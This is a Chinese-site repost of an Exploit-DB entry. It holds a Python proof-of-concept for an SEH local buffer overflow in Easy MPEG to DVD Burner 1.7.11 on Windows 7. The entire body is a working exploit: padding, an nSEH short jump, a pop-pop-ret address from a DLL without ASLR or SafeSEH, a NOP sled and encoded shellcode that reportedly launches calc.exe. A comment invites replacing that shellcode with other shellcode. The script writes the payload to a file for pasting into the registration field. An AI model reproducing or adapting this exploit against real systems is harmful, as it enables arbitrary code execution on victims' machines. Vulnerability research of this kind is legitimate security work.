Easy MPEG to DVD Burner 1.7.11 – Local Buffer Overflow (SEH) - 体验盒子

作者： Marwan Shamel

日期： 2018-05-02

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/44565/

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#!/usr/bin/python

# Exploit Title: Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow

# Date: 2018-05-02

# Exploit Author: Marwan Shamel

# Software Link: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html

# Version: 1.7.11

# Tested on: Windows 7 Enterprise SP1 32 bit

# Special thanks to my wife

# Steps : Open the APP > click on register > Username field > just paste watever generated from python script in the txt file.

junk = "\x42" * 1008

# below shell code will open calc.exe can be changed according to your needs just make sure to avoid bad chars x0d x00 x0a

evil =""

evil += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"

evil += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"

evil += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"

evil += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"

evil += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"

evil += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"

evil += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"

evil += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"

evil += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"

evil += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"

evil += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"

evil += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"

evil += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"

evil += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"

evil += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"

evil += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"

evil += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"

nSEH = "\xeb\x0C\x90\x90"#Jmp short 14 (EB0C)

SEH = "\xae\x4a\x01\x10" #pop ebp # pop ebx # ret (DLL have ASLR,safeSEH,rebase off)

nop = "\x90" * 16

data = junk + nSEH + SEH + nop + evil

f = open ("Evil.txt", "w")

f.write(data)

f.close()